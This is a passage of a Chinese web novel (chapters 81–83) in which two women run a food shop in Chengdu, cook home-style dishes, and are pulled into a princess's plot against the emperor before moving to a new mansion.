就当是两只鸡生来感谢她们,为她们补身体的! 也不知是不是今日运气好的原因,吃完鸡蛋后,江浔阿雅和陈厨子三人来到成都府铺子中,居然正好遇上赶来上工的绣娘们。 那些绣娘们手挽手缩在一起,路过她们的铺子时停了下来,站在街边往里面瞧着。 江浔见她们又想买的欲望,立马招呼住她们。 “走过路过不要错过!好吃美味应有尽有!便宜着嘞!” 绣娘们对视一眼,居然朝食铺走来了!魔.蝎.小.说.m.o.x.i.e.x.s..c.o.m &m.o.x.i.exs& 80-85 第81章 红红火火 “你们这里都卖些什么?”几个绣娘围到食铺前, 朝里张望。 她们每日上下工都闻见这里飘出香气,那味道她们可没闻过嘞,像是某种饭香味儿,油汪汪的, 没怎么碰过油腥的她们, 馋的口水都流出来了。 其中还夹杂着一股甜与清香的味道, 闻到就令她们心情愉悦舒畅,一天都显得很精神,干劲儿满满。 她们可太好奇是什么吃食了。 见终于有人来询问,江浔压下心中的激动,指着铺子中摆放的吃食,分别给她们介绍着。 语速很快, 只挑重点来说, 因为绣娘们时间也不多,赶着去上工嘞。 “你们第一次吃可以尝试一下拌土豆和牛乳茶, 这两样是天仙配, 顶好的。”江浔竖起大拇指, 脸上表情让人信服,“而且都不贵, 都是三文钱。” 也没办法卖太贵, 太贵绣娘们不会买的。 普通绣娘的工钱不算多, 起早贪黑一月下来,有五百文就算最多得了。 还要交一部分给家里,自己剩不下多少。 一月最多只有一两次会买东西犒劳自己, 剩余的都会存起来。 而绣工好的、厉害点的绣娘, 钱虽然赚得多,但那毕竟是少数。 江浔也不能为了赚那少数人的钱, 把价格定得很贵。 三文钱,是一个差不多的价格。 绣娘们听到价格,自己背过身去,同伙伴们小声商量着。 不一会儿就决定好大家买不一样的东西,分着吃,这样就都可以尝到了。 她们三个三个绣娘一起,把铺子中的三样东西一样买了一份。 反正芦苇也不值什么钱,江浔还多给了她们两根,让她们好分着喝牛乳茶。 买好东西,她们就开始往绣楼赶。 赶到绣楼外时,还有点时间,她们就凑在一起开始吃东西。 首先尝的是牛乳茶,这东西闻着就香,还用竹筒装着插着根芦苇,造型奇特,很是吸引她们。 三个年龄还很小,扎着双髻的绣娘围在一起,一人喝了一口牛乳茶。 入口就是如绫罗绸缎般顺滑的口感,以及香浓的牛乳味。 好喝诶,三位绣娘对视一眼都从对方眼中看到了惊喜。 她们其实没怎么喝过牛乳,最多只有夏季时,在街边小摊上吃过最普通的乳糖真雪。 别以为她们不知道,那乳糖不仅放得少,还掺了水,味道淡得不行! 都没让她们尝出味儿来嘞! 哪像这牛乳茶似的,浓厚醇香的牛奶味萦绕在舌尖,都让她们不想咽下去了。 三位小绣娘压下心中的雀跃,像山林中的小松鼠般凑在一起,分食着自己买的东西。 每样都很好吃,完全是超乎想象的味道,完全是她们没有尝试过的味道。 不出一日,绣楼里就流传出楼对面那条街上,新开的那家食铺,东西很是好吃还便宜,没尝试过简直亏大发了! 这下,绣楼下工,绣娘们仰着笑脸叽叽喳喳像小黄鹂似的,来到三人开的食铺中。 都来尝试她们卖的东西嘞! 让三人意外的是,绣娘们来后的第二日,那群在私塾里读书,从不曾出来的读书人们,都选择出来尝试一下三人卖的东西。 连食铺里卖的其他炒菜、烧菜都开始有人点了。 不过现下江浔阿雅二人种的菜只有土豆和番柿成熟,所以土豆和番柿做出来的菜点的人最多。 甚至都有口碑了,读书人们依旧选择在私塾里吃,绣娘们依旧选择自己带饭。 但某一日实在馋了,他们就会出来,到食铺中吃东西嘞。 像什么土豆肉丝、土豆烧鸡、番柿炒鸡蛋、番柿蛋花汤……等等一系列菜,点的人都很多。 而且江浔为了照顾他们的时间和银子,把每一份都做得很少的同时,价钱也收得便宜。 刚好是他们吃一份就能饱,而且还不耽误读书、上工的份量。 简直快晋升为他们的年度最爱吃食了! 食铺有人气之后,周围的住户、租客,或者就是随意的一个过路人,都会想要进食铺瞧瞧。 然后就被吸引着留下来,尝到了毕生难忘的美食。 炸土豆条、拌土豆在清水镇掀起不小的热潮后,终于在成都府太玄街这小范围内,也广受好评。 名气大得很嘞,去迟了有可能就吃不起了! 食铺运转起来后,江浔和阿雅二人就不怎么到食铺中去了。 而是把各项事宜全权交给陈厨子,她们二人最多每隔七日或十日去一次。 每次去还会带点不一样的花样。 比如第一次去,江浔就提出她们可以搞个噱头,每隔七日就可以抽签抽十名免单,前提是先要买吃食才能获得免单的机会。 第二次去,江浔又规定了在某个时间段内,只要喝了五杯牛乳茶,凭借空竹筒,就可以不收钱换取一杯。 第三次去,江浔又带来两种加在牛乳茶中的特殊元子,起名为黑元子和白元子。 黑元子是用红糖和木薯粉熬制成黏稠状,捏出来的元子。白元子则是用豆花做的,把豆花挖成小颗小颗的元子即可。 两种元子,一个软软弹弹,一个滑滑嫩嫩。 口感不一样,但喜欢的人都同样多,一下就风靡整个西门,为食铺带来以前想都不敢想的人流量! 但江浔深知事不能一人干完的道理,她为食铺请了几个小二,解放自己的同时,也让陈厨子不用那么累。 江浔心安理得的守着自己的打铁铺,只用下月初数钱就行! 天气暗下,江浔关上铺子门,同阿雅一起做着晚食。 冬吃萝卜夏吃姜,今日她们炖萝卜! 第82章 文圣雅姑娘?! 炖萝卜不算难, 先把排骨和葱姜一同放入锅中焯水。 焯水后把排骨沥干水分,锅中热油,放下姜片,待姜片发出香味后, 把排骨放在锅中翻炒。 炒制排骨表面裹上油、微微黄时, 倒入半锅水, 中小火煮一刻钟左右,就可以放入切块的萝卜了。 等待萝卜炖排骨煮好时,阿雅去鸡窝里把今日两只鸡下的蛋摸了出来,打散在碗中,加温水搅匀成蛋液。 在另一个灶上烧上一锅水,架起蒸格, 把蛋液放在蒸格上, 盖上盖子焖煮个一两刻钟左右,就是好吃滑嫩的蒸蛋了。 不知是不是天气太冷的缘故, 她们家这两只鸡要每隔一日才下两个蛋。 少是少了点, 好在够吃。 江浔来到灶台旁后, 从井中打起一桶水倒入木盆中,再把折耳根全部放进木盆中淘洗。 这个季节的折耳根正是疯长的时候, 脆嫩发紫的叶片, 和泛白的根系拌在一起, 再放入蒜末、辣椒段、香菜、白糖……等等调料,又辣又爽。 简直是冬日里开胃的一把好手。 把折耳根清洗干净后,江浔又蹲到菜地旁摘了几颗番椒, 放在案板上同大蒜一起切成碎。 她把这些准备好, 阿雅就拿着大碗,开始拌折耳根。 很神奇的是, 明明东西都是一样的,但阿雅拌出来的折耳根就是好吃许多。 江浔搞不明白为什么。 等萝卜炖排骨快煮熟时,加入盐再煮个几息,就可以出锅了。 往萝卜炖排骨上撒上一把新鲜翠绿的葱花,色香味俱全,只放在桌子上看看都觉得好吃。 这一顿饭很是有滋味,先舀几勺蒸蛋放入碗中,和饭搅拌在一起。再夹着一筷子折耳根,在凉拌的汁水中多搅和几下,折耳根连带着汁水放入碗中,和蒸蛋、饭一起唏哩呼噜吃下肚。 偶尔嚼到一颗番椒时,舌尖都染上了辣味儿,整个身子被从头辣热到尾,脑门儿上冒汗,口中倒吸着气。 爽的不行! 排骨江浔买的是正排,一根一根的,在蘸水中蘸上味道,用嘴一碰,上面的肉就下来了。 鲜香的肉填满整个口腔,身心满足到眼睛不自觉眯起,在默默享受着。 因为太好吃,两人吃饭的速度都比平时快不少,一大碗饭吃下肚,在最后喝汤之时两人的速度才慢下来。 捧着碗,优雅的吹着汤,慢慢抿着,丝毫看不出之前得狼吞虎咽。 江浔:“还有几日就是除夕了,我们明日出去置办点年货?” 阿雅喝了一口汤,点点头,“好,香肠腊肉和屠苏酒是少不了的,再买点肉到时做角子吃。” 角子就是饺子,形状如偃月是吉祥之物。 至于屠苏酒,是用一种叫屠苏的草酿制而成的,可保佑接下来一年身体康健,长命百岁。 如此商量好,第二日两人收拾妥帖,坐上马车,慢悠悠在镇中逛着。 由于两人长期要往成都府跑,所以在有钱之后她们两人就把马车给买了下来,方便来回奔走。 越是临近年关,镇上的人就越多,各家各户都贴上了对联,挂上了红灯笼,张灯结彩红红火火,热热闹闹的。 两人先来到李屠妇的摊子前,买了四斤瘦肉半斤肥肉。 顺便询问了一下李屠妇春节之时打算休息多久。 临近春节,买肉的人都多了许多,李屠妇笑呵呵地说道:“哪有什么休息的说法,我每日早晨卖完,不就休息了吗?” 那意思就是不打算休息,春节期间早晨还是打算开摊子。 不过李屠妇的肉摊早晨卖完肉,下午就没事了,所以也不影响什么。 告别李屠妇后,两人又到大的肉铺里买了一块熏好的腊肉。 顺便把在李屠妇那儿买的瘦肉和肥肉拿给店小二,让小二帮她们灌成香肠。 只用收点辛苦费就行。 她们没有把肉全部灌成香肠,还留了两斤瘦肉准备拿回家去包角子。 香肠和腊肉买好后,她们又去买了屠苏酒、白菜、对联、门神、灯笼等等一系列东西。 看到炮仗时,江浔还眼中带笑地问阿雅,想要玩吗? 那炮仗种类可多了,有拎着一条麦穗般的鞭炮炸开的、有放在地上能冲起焰火的、还有能冲上天空之中,五光十色绽放的。 这些都是阿雅小时候玩过的东西,所以现在长大了,反倒不那么想玩了。 但看着江浔眼中笑意盈盈,还有些许期待的模样,阿雅还是没有说出拒绝的话,装作自己很想玩的模样,陪江浔一起把所有炮仗都买了个遍。 带着满满当当的东西回家,她们先是把香肠挂在晾衣架上,然后拿着对联灯笼和门神,装了小碗米饭到大门前去贴。 对联和门神倒是好贴,用米饭糊两下贴在门上就行了,但灯笼的话需要踩着木梯子,才能挂在门头上。 江浔站在木梯子上,阿雅帮她掌着木梯子,以防摔倒。 哪想意外还是发生。 在大街上有两个提着灯笼,拿着炮仗的小孩在追逐打闹,它们没有注意前方的情况,也没有听到阿雅的喊声,一个不小心就撞在了木梯子上! 阿雅:“浔姐姐!小心!” 阿雅被其中一个小孩重重撞在腹部,不自觉就弯了腰,但手还死死控制住木梯子,怕木梯子被撞翻。 可下一刻,另外一个小孩直接撞上木梯子! 很重,把自己都撞来坐在了地上,木梯子也摇摇晃晃,朝地上倒去! 如此变故发生,周围看见的人都变了脸色,脸上露出惊恐神情,有些胆小的还偏过头捂住眼睛,不忍看惨案发生。 听到阿雅的惊呼,江浔只觉得自己身形一偏,就开始往下坠落,根本来不及低头查看情况。 危急关头,江浔脑海中其实是一片空白的,但身体的反应速度很快。 抬手就抱住了近在眼前的门头。 把自己吊了起来! 同时脚下也没有放开木梯子,死死夹住木梯子,腹部绷紧,用力把木梯子回正,甚至还顺手把灯笼挂上了。 江浔:。 她脸上表情还是空白的,大口大口地喘着气坐在木梯子上,手抱着门头不愿意放开。 这个木梯子少说也有两三米高,要是就这么摔下去,她恐怕要断只胳膊断条腿才行。 阿雅见江浔自己稳住了,也顾不得腹部疼痛,连忙抱住木梯子,用全身的力气帮江浔控制住,怕再次出现危险。 “浔姐姐你没事吧?有没有受伤?” 此时周围的人也回过神来,纷纷上前帮她们稳住梯子。 江浔扶着梯子,手软脚软地慢慢下来,刚一接触到地面就蹲了下去。 但面上还是强撑着冲大家摆手道谢,“没事没事,我没事,多亏大家了,我没事。” 阿雅也捂着腹部,同江浔蹲在一起,关心着江浔的情况。 两个打闹不看路的小孩,已经分别被父母揪着耳朵,提溜到她们两人面前,边打边让小孩道歉。 刚刚发生了这么危险的事,江浔看到这两个小孩就来气,她直接道:“先去把大夫找过来看看有没有伤到我的妻子。” 这时,两个小孩的父母才反应过来,一边“哦哦”,一边去找大夫。 大家都生活在一条街上,江浔也是认识他们的,所以也不怕他们跑了。 不一会儿陈大夫就被找来,她看见是阿雅受伤,面上闪过担忧的神色,让人直接坐在地上,用手去按阿雅的腹部。 仔细询问阿雅有没有感觉? 确认阿雅五胀六腑应该没出问题后,才让人进到屋子中,查看阿雅的外伤。 江浔也在一旁看着,看见阿雅腹部泛红一片,脸上出现生气的表情,想去和小孩的父母理两句。 不过坐在床上的阿雅拉住了她的手,晃了晃,眼巴巴望着她,明明什么都没说,却整个眼神都在表达想让她留下来。 好吧。 江浔留了下来,坐在阿雅身边陪着她。 许是见氛围太过凝重,陈大夫笑着说道:“你们妻妻俩感情真好,别担心,用点油揉一下就好,明日可能会发青,但都是正常的。” 陈大夫给了她们一瓶跌打损伤油,让她们自己揉去。 诊费当然是由那两个小孩的父母给。 送走陈大夫后,江浔还是指着两个小孩骂了一顿,把小孩的父母脸都骂黑了。 但没什么办法,确实是他们的孩子不对,只能忍着。 事情解决后,江浔关上房门,让阿雅躺在床上,轻轻掀开她的衣衫,把药油倒在自己手上,搓热后才按上去。 阿雅身子抖了一下,躺在床上,歪着头看认真为自己上药的江浔- 奇怪的是,这一天天的不知怎么回事,她们总会遇到一些大大小小的意外。 一直持续到除夕前一日。 除夕前一日,江浔本想趁着没事,先把灶台清理一遍,明日大扫除时就可以少忙活些。 哪想很不巧的被灶台里滚烫碳化的木头给碰到,手指尖的肉被烫焦,留下一个疤。 江浔看着自己手指上的疤,心中隐隐觉得不安,感觉有什么大事要发生。 清理完灶台之后,她脸上蒙了一层灰自己却没发现,走进打铁铺中叫阿雅看见了。 阿雅抿唇露出点笑意,招手让江浔过来,小声道:“浔姐姐成花猫了。” 江浔歪头,眼中出现疑惑。 “弯下身来浔姐姐。”阿雅拉着她的手,让她弯腰,捧着江浔的脸颊,用帕子为她擦拭。 擦完之后,看见变得灰蒙蒙的帕子,江浔才反应过来,耳朵不好意思的变红。 两人在这里甜甜蜜蜜的,而打铁铺外,有两个穿着官衣从官府来的人,正挨家挨户的敲门要收税。 他们一人拿着一个名册,一人提着布袋。 谁交了税,他们就会在名册上记下,把大把大把的铜板或银子放入布袋中。 很快,他们就到了打铁铺门前,敲敲门往里走,边打量着边问道:“这里可是江浔、阿雅的住处?” 江浔正坐在桌子旁,撑着头看阿雅写东西看到发呆了。 听到声音,扭头看见两个官差,不自觉皱眉。 “是这里,请问两位是有何事?”江浔同阿雅站起身,望向他们,询问道:“我们应该没有犯事吧?” 江浔总觉得在古代见到官差不是什么好事,总不能不分青红皂白就抓她们吧? “我们是来收税的,你们二人是女户,可以减免点税收,但总归还是要交的。” “田税、丁税、住税……合计收取三十两,给钱吧。” 这位拿着名册的官差看着名册说完后,手开始去翻弄打铁铺桌子上放着的铁具。 来回翻看,总觉得有哪里不对。 比如说那菜刀,外形上和普通的菜刀有些不一样,更加精细、光亮些。 难道是这家的打铁匠更厉害些? “三十两?请问每笔税收分别是多少?” 三十两不算少了,这还是她们两是女户打了折的情况下才是三十两。 要是没打折,恐怕不知道得多少。 江浔询问着,眼神不动声色落在那官差拿着的刀上。 她突然想起自家的刀是掺了钢的。 按理说没有人能肉眼看出差别,但谁知道这官差有没有那么大本事,能看出不对? 她们现在日子过得那么好,可不能随意被发现了。 江浔道:“阿雅,你去拿三十两银子出来吧。” “我们又不会多收你们钱,赶紧交钱吧,我们还赶着去下一户。”每次收钱都是一场恶战,有些还问他们能不能便宜点,要是能便宜他们早就被撤职了。 拿着名册的官差道:“我们会写个条子给你们的,每笔税收都有理有据。” 江浔点点头,等着阿雅拿出来三十两后,把银子递给两个官差。 心中念叨着让他们快走。 提布袋的官差从布袋里拿出小秤,接过银子核对数量,拿名册的官差就在名册上唰唰唰写着什么。 不一会儿,拿名册的官差就从名册上扯下一张纸条,递给她们。 带着人转身朝大门走去。 接过条子的江浔不动声色松口气,心中想着终于走了。 哪想她这一口气还没有松下去,那名官差突然转身,看向桌上的菜刀。 道:“嘶,你这把刀……” 那个刹那间,江浔眼神一凛,锐利地看向拿名册的官差,脑海中把什么大力决、疾风步全都想了一遍,在盘算自己能不能瞬间解决这两个人! 同时发现自己最近一段时日,开盲盒开出来的好运还没有用。 算算时间,她和阿雅二人前段日子用的好运,好像就是这几日失效! 原来是因为好运失效了,她们才遇见这么多倒霉事。 江浔没着急动手,先是把所有好运都给她和阿雅二人用上。 然后仔细观察着两个官差的神情,想要知道有没有用。 要是没用的话,只好动手了! 阿雅眉头也微微一蹙,虽不知江浔打的铁具掺了东西,但她看得出这官差似乎是想找事。 她身子往旁边靠了靠,眼神暗自在桌子上搜寻,想要看哪样东西趁乱拿着顺手。 那名拿名册的官差丝毫不知自己处境危险,还在道:“……你这把刀有点不——” 正当他要说出点什么之时! 外面突然传来一连串急促的马蹄声! 来人是位女将,利落翻身从马上下来后,举着手中的东西大步跨进打铁铺。 高声询问道:“这里可是文圣雅姑娘住处!” 这句询问当然也不代表真的要人回答,她来之前就已经查清楚了,此时直接拉开手中的圣旨,对着上面中气十足念道: “文圣雅姑娘落笔如有神,一字一句竟有窥天意之势,本宫偶然得见,受益颇多,特赐黄金百两、东珠一对、翡翠玛瑙……钦此!” 一段话念完,把在场所有人震惊得外焦里嫩,根本反应不过来。 谁? 本宫是谁?官家? 文圣雅姑娘是谁?阿雅吗??? 江浔连同两个官差,三人六只眼睛全部望向阿雅,嘴巴微张,一副呆滞模样。 天呢?她们别不是遇上什么传销组织了吧!?官家怎么会突然找来??还把阿雅叫为文圣了??? 就在江浔内心怀疑这人是骗子时,打铁铺外又传来更夸张的脚步声。 好几十人扛着一箱一箱的东西出现在打铁铺外,把整条街都占满了! 引来其他铺子里的人纷纷探出头,震惊的猜测着到底是谁这么威武。 那位念圣旨的女将念完后,把圣旨一收,让江浔双手接着,自己则围在阿雅身边,对着阿雅来回瞧看,眼中闪烁着崇拜的光芒。 “您就是雅姑娘吧?您写的天书我也拜读过,可真是好啊!” “一字一句给了我们长公主莫大的启发,要是没有您的天书,我们可不知如何是好。” 她大手一挥,冲着外面的人道:“快快,把长公主亲自题的字给抬上来,让雅姑娘瞧瞧!” 话音落下就有两个人扛着暗红色内敛深沉,大气磅礴的牌匾走出来,亮在阿雅眼前。 牌匾上是毫不谦虚的文圣二字。 “嚯!!” 整条街都发出明显又不明显的惊叹,被这两个硕大的金字闪瞎眼。 第83章 搬家 如此猖狂的牌匾引来周围人的窃窃私语, 心中都难以置信都和他们住同一条街了,居然能出一个这么厉害的人物? 雅姑娘?那不就是阿雅吗? 就那么个小姑娘居然有这么大能耐?完全没听说过啊? 他们是真的不想相信阿雅能有这么厉害,但同时又觉得没人敢冒充长公主,那可是要掉脑袋的。 整条青石板街上的人都站得远远的, 眼神朝这边偷偷眺望, 既想知道还会发生什么, 又怕引起注意。 打铁铺门口那位女将直接让人把这个牌匾钉在打铁铺门头上,又让其它人把长公主赏赐的东西抬进屋。 长公主赏赐的东西可多,一箱一箱,几乎把整* 个院子给堆满。 东西放好后,女将让其它人在外面守着,自己则招呼江浔和阿雅二人到院中来, 她有要事相商。 看着那随性到把这里当做她自己屋子的人, 江浔:…… 无法,对方估计是个位高权重的, 她们惹不起, 江浔同阿雅对视一眼后, 阿雅双手握住她的手捏了捏。 小声道:“走吧,听听她要说什么。” 两人一同坐在女将对面, 等着对方说话。 对方清清嗓子, 用手挡在自己嘴前, 身子往前倾,小声对两人说道:“长公主有令,要阿雅姑娘续写《女驸马与公主》这个话本, 不过阿雅姑娘不用担心, 长公主已经让宫中其它文人帮阿雅姑娘续写了。” “而且长公主还会把这个话本发行至全天下,让天下百姓无一不知无一不晓。” “只希望阿雅姑娘配合才是。” 这一番话说下来, 听的江浔和阿雅二人直皱眉头。 “续写的内容我们可以知晓吗?”阿雅问道。 女将大方、微笑道:“那是自然,不过就是长公主是天命之女,是上天钦点的龙女,自是要坐上那万人敬仰之位的。” 江浔阿雅:…… 江浔阿雅:??? 两人瞳孔地震,难以想象自己听到了什么? 这是什么意思? 是长公主要收拾收拾,准备谋朝篡位的意思吗!? 也就是说长公主是想要借阿雅的名头,获得民心,把自己的地位掰正。 江浔在脑海中过了一遍各大影视剧里,知晓惊天秘密的普通人是什么下场。 死、死、死。 全都是死,无一例外! 莫名其妙被卷入远在天边的权利之争,江浔的眉头皱的可以夹死面前的人,她咬牙切齿说道:“我不同意,你们爱怎么争怎么争,别牵连我们!” 这场争斗,长公主要是没赢,她们能被当今圣上拉出来凌迟千百遍。 即便是长公主赢了,她们也不一定能活下去。 这完全就是条条大路通地府,一点活路都不留。 “江姑娘放轻松,在我到达你们铺子时,《女驸马与公主》的续文已经运到各地的书局,恐怕早就有许多人知晓了。” 女将同她们谈这些,根本就不是征求她们的意见,只是通知一下她们罢了。 “你们不用担心,此件事伤害不到你们,长公主仁慈,特命我来保护你们和驸马的。” “你们二人与驸马今夜连夜赶向成都府,长公主在那儿有一套宅子,等这件事一过那套宅子就是你们的了。” “阿雅姑娘你有所不知,当初裴大人裴夫人可不是那么简单被匪徒所杀害的,是坐那高位之人心胸狭隘,容不下你父亲母亲罢了。” 朝堂之上暗潮涌动,走的每一步都有可能跌入深渊。 裴大人只是为天下民生着想,有一丝忤逆于那高位之人,便被怀疑是否是想谋反。 一根细小的刺埋下,让那高位之人彻夜难寐,最终决定斩草除根。 也幸好是当时阿雅还小,否则…… 后,那高位之人又忌惮上拥有实权的长公主,派长公主去预防蝗灾,实则在路上埋伏长公主。 长公主狼狈躲避之时,又碰上山匪,被抓上山去。 正好遇见现在的驸马,一个拿着菜刀的姑娘。 两人心生情愫,竟然与阿雅写的话本如出一辙。 长公主心思敏捷,觉得可以用此事扳回一局。 便有了如今所有事。 不过这些就没必要让这二人知道的那么清楚了,女将换了一只手挡住自己的嘴,继续道:“阿雅姑娘节哀,报仇之事,长公主会帮你做的。不管是当今圣上也好,还是现在裴家的主母也好……都不在话下。” 阿雅勉强控制住自己的情绪,问道:“你说的可是真的,如何证明?” 女将:“无需证明,我们没必要骗你。” 是了,确实没必要骗她们。 突然知晓自己父母的死另有隐情,阿雅再也坚持不住,眼眶兀自红了一圈,握住江浔的手发紧发颤。 她那时还太小,还真以为自己父母是死于山匪,没想到其中还有这么大的事。 可她现在早就不是裴家人了,无法再回到汴京城中去报仇。 算来算去,竟然只有相信长公主这一条路可以走。 阿雅望向江浔,还未开口,两行清泪就落了下来,脸上湿濡。 她好像一株小苗,原本一直向着阳光蓬勃生长,可现如今却被人连根拔起,摔在地上,叶片也枯萎了,根系也扯断了。 “阿雅!没事的阿雅,还有我陪着你。” 好不容易把阿雅养的乐观积极向上,结果现在一看,阿雅和当初自己第一次见她的模样有什么区别? 都是一副凋零的模样,仿佛下一瞬就会融化成一滩腐朽的水,消失在田地间。 江浔被吓到,赶紧抱住阿雅,用手背去擦阿雅冰凉的泪珠,一字一句连珠炮似的安慰道: “阿雅你在这个世界上不是一个人,你还有我,你还可以依靠我,可以和我一起享受各种美好的事物。” “不就是那狗皇帝干的吗?我今夜就去把他暗杀了!我让他下地府去给你父母赔罪怎么样?” “你不要想太多,你父母不希望你出事的,他们希望你长命百岁,平安喜乐。” “你吃了那么多苦,正是应该好好活着的时候,你要比那狗皇帝活得长久,你要把你父母那份也一起活回来!” “等这件事完了,我们就一起去祭奠你父母,给他们带各种好吃的,他们会喜欢的。” 冲着阿雅说完,江浔又对那位女将道:“你们要是没能力杀那狗皇帝,就趁早告诉我,我去!” 她囤了好多特殊能力,正愁没地方用呢。 她可以尝试杀那狗皇帝千百次,但那狗皇帝只有一条命可活! “我绝对让他活不过初一!” 后日就是初一,女将:…… 刚才还游刃有余的女将勉强压下心中惊愕,脸上挤出笑容道:“哈哈,江姑娘还真是性情中人,但这件事不劳烦江姑娘了,长公主自有安排。” “事不宜迟,我们赶紧去成都府吧。” 迟则生变。 阿雅泪眼婆娑地看向江浔,手抓得很紧,勉强从喉咙里挤出一句话。 “你别去冒险,让他们去,我只有你了。” 如此可怜哀切的模样,瞬间让江浔心疼起来,连忙道:“好好好,我不会让你担忧的,我不会离开你的。” 既然选择相信长公主,那么她们也没必要再逗留下去了。 三人从后门走出,到巷子中,小巷里挤着好几辆小马车,她们上了其中一辆后,在里面看见了所谓的驸马。 居然是早几个月她们帮助过的那个逃婚的小姑娘! 小姑娘依旧一身劲装,马尾高高竖起,只是气质和几个月前大不相同。 她现在显得更加干练利落、锋芒毕露。 小姑娘表情不怎么好看,脸色沉沉,略显郁闷。 在看见江浔和阿雅进马车之后,立马压下脸上的表情,扯出个笑容,打招呼道:“两位姐姐好,许久不见,上次多亏你们的帮助。” 江浔和阿雅二人冲她点点头,没有多说什么。 坐上马车,江浔先是把一大包行李给放在脚下,然后手扯扯拴住两只鸡、一只猫腿的绳子,把绳子收紧,怕它们乱跑。 这才抱住阿雅,轻柔为她擦去脸上的泪痕,只是那眼下的泛红一时半会儿消不了。 阿雅的低落的情绪一时半会儿也缓解不了。 沉闷的马车开始摇摇晃晃移动,带着她们往成都府赶去- 冬日天黑得很快,傍晚,四周有些伸手不见五指时,女将带过来的那群人还在打铁铺中。 炊烟幽幽飘起,像是什么信号被释放出,打铁铺屋顶上唰唰唰出现二十来人! 他们伏低身体,蹲在屋顶上,待时机成熟之际,有一人挥挥手,所有人同时跳入院子中,手中半长的刀亮出,砍向院子里的人。 当然,女将带来的人也不是吃素的! 也纷纷从怀中摸出刀迎敌! 一切都在黑暗中悄无声息发生,几息过去,血腥味已然浓重到向四周飘去。 四周的邻居有可能发现,也有可能没发现,反正各处都是静悄悄的。 安静得可怕。 而在成都府这边,江浔、阿雅、田糖棠也就是那个小姑娘,三人已经搬进位于成都府中心,迎凤街上的豪华大宅院中。 光是池塘就有四五处,更不要提各种房屋楼阁了。 江浔和阿雅二人顺理成章住进主屋,田糖棠和女将则分别住进偏房。 各自收拾整理好后,四人来到大堂中汇合,女将道:“今日我们需各自解决吃食,食材厨房倒是有,下人们明日才能到。” 听到厨房有食材,江浔对着阿雅道:“你在这里休息,我去做东西吃。” 她做饭技术不好,但她理论强啊! “还是一起行动吧,我怕你们有危险。”女将道。 她是长公主派来保护三人的,断不能让人离开自己的视线。 既然她都这样说了,江浔想想,确实也怕阿雅出事,便牵起阿雅的手,用眼神询问阿雅的意思。 “我和你一起,浔姐姐。” 如此说定,四人都往厨房的方向走去。 这里四人,阿雅和田糖棠对做饭很是精通,基本菜式都会。其次就是女将,因常年在外征战,时间紧迫,经常是把饭弄熟就开吃,不管口味和卖相。 最次是江浔,擅长灵机一动,容易把饭弄死。 不过,对于特别的菜式,她还是知道适可而止的。 比如她打算做来安慰、安抚,让阿雅心情好些的东西——炸鸡! 厨房中有两只处理好的鸡,正好方便了江浔。 她把两只鸡的鸡腿和鸡翅切下来,把鸡架用力压平、压板正。 把鸡翅、鸡腿、鸡架清洗后,用帕子擦干水分,在鸡翅鸡腿上改刀。 幸好她走之前把刀带上了,此时用自己做的刀顺手得不行,很快就把肉改好。 把姜蒜切末放入盆中后,再放入胡椒粉、白糖、盐和牛乳。 都是起到去腥增香的作用。 放入鸡翅鸡腿鸡架,使牛乳混合物没过它们,再盖上锅盖等待鸡肉们腌制入味儿。 随后,江浔又开始把面粉、淀粉、盐、糖、胡椒粉混合在一起,大蒜洋葱碾碎成末,混合在一起。 她在准备这些的时候,阿雅和田糖棠也在各自准备食材,打算贡献几盘菜出来。 女将在旁边打下手。 江浔本来是不准备让阿雅做饭的,但阿雅说自己不做点什么事,心静不下来,总要胡思乱想。 无法江浔只好随她。 在等待鸡肉腌制好时,江浔用茶叶和牛乳为大家做了一壶焦糖红茶。 热热乎乎,有牛乳的浓香茶的清香,一下便把田糖棠和女将的心抓住。 停下手中的活儿,喝个不停。 鸡肉腌制好后就要下锅炸了,也幸好这厨房够大,灶都有好几个,要不然还不够几个“大厨”摆弄呢。 混合均匀的面粉取出三分之一,这三分之一要加水搅拌成糊状。 江浔怕自己又搞成水多了加面、面多了加水的状态,特意喊阿雅来加这个水。 “帮我弄到比糊糊状还要湿一点就可以了。” 江浔弯下腰,脸上露出拜托拜托的表情,看着阿雅。 阿雅沉默着点点头,一下就帮她加好了。 江浔用脑袋在阿雅肩头蹭了几下,这才把鸡肉全都放入糊糊中,每一块都裹上代表着美味的糊糊。 裹上糊糊之后,放入没用完的混合面粉之中,让每块肉都均匀裹上混合面粉。 干湿混合,鸡肉块外表呈现自然的鳞片状。 这就代表着炸出来的鸡肉块,外表会有一层厚厚得酥脆外壳,咬起来嘎吱嘎吱作响,香得不行。 当油锅里的油热得不行,都开始不断冒着油泡时,就可以把鸡翅鸡腿依次放下油锅猛炸。 刚开始放下去时不要翻动,要等鸡翅鸡腿逐渐成型,快出锅时才可以翻动。 翻动后,再炸个几息就可以捞出控油了。 又继续把鸡架糊上糊,裹上混合面粉,放入油锅中炸。 鸡架要炸得久些,至少要表面完全酥脆金黄才可以翻动。 她在做炸鸡时,那香味就止不住从油锅里飘出,灌满整个厨房,让另外三人不断耸动鼻尖,闻着如此特别的气味。 炸物她们也不是没吃过,但头一次闻到有这么香的炸物。 阿雅也渐渐从悲伤中回过神,把更多的注意力放在江浔身上,看着锅中的东西。 油翻腾得厉害,像奔腾的江流遇见阻碍,在原地打转着被冲出无数白色泡泡。 等鸡架都炸好,就可以装盘上桌了。 其实这鸡肉块们,不用放其他调料都自带咸香的口味,但江浔为了增加好吃程度,把葱姜、番椒切成碎末,放入酱油之中。 就做好一碗蘸料了。 阿雅和田糖棠两人的菜早就做好,就等着江浔这盘菜上桌了。 几人挨着坐在大方桌旁,端着装牛乳茶的碗碰了一下,显得关系很好的样子。 女将和田糖棠着实被牛乳茶和炸鸡的好吃程度惊艳到,吃到停不下来,包着一腮帮子的东西,大声说道:“好吃!好吃!绝配!” 阿雅也被炸鸡惊艳到,进食动作优雅端庄,但速度却不自觉变快。 江浔也好久没吃到炸鸡了,怕抢不过女将和田糖棠,她直接毫不客气的把一整只鸡架都装入自己碗中。 分了大半给阿雅,让阿雅能吃个够。 四个人都吃的肚皮溜圆,各自搬了条椅子坐在花园中消食、赏景。 不得不承认,这成都府的宅子是要比清水镇的好上许多,只一个花园就比她们以前住的地方大了。 等肚子差不多不撑时,江浔一拍大腿站起身,道:“我带来的那些菜,就种在这里吧。” “来年开春长了花,也很好看。” 她没带多少菜来,就把院子中长得漂亮的菜挖了几株带上。 想着说到新地方也能种地,不至于天天无所事事干瞪眼。 女将本来还没反应过来,悠哉地倚靠在椅子上,直到看见江浔拿出小铲子,准备把长公主种的花撬了时! 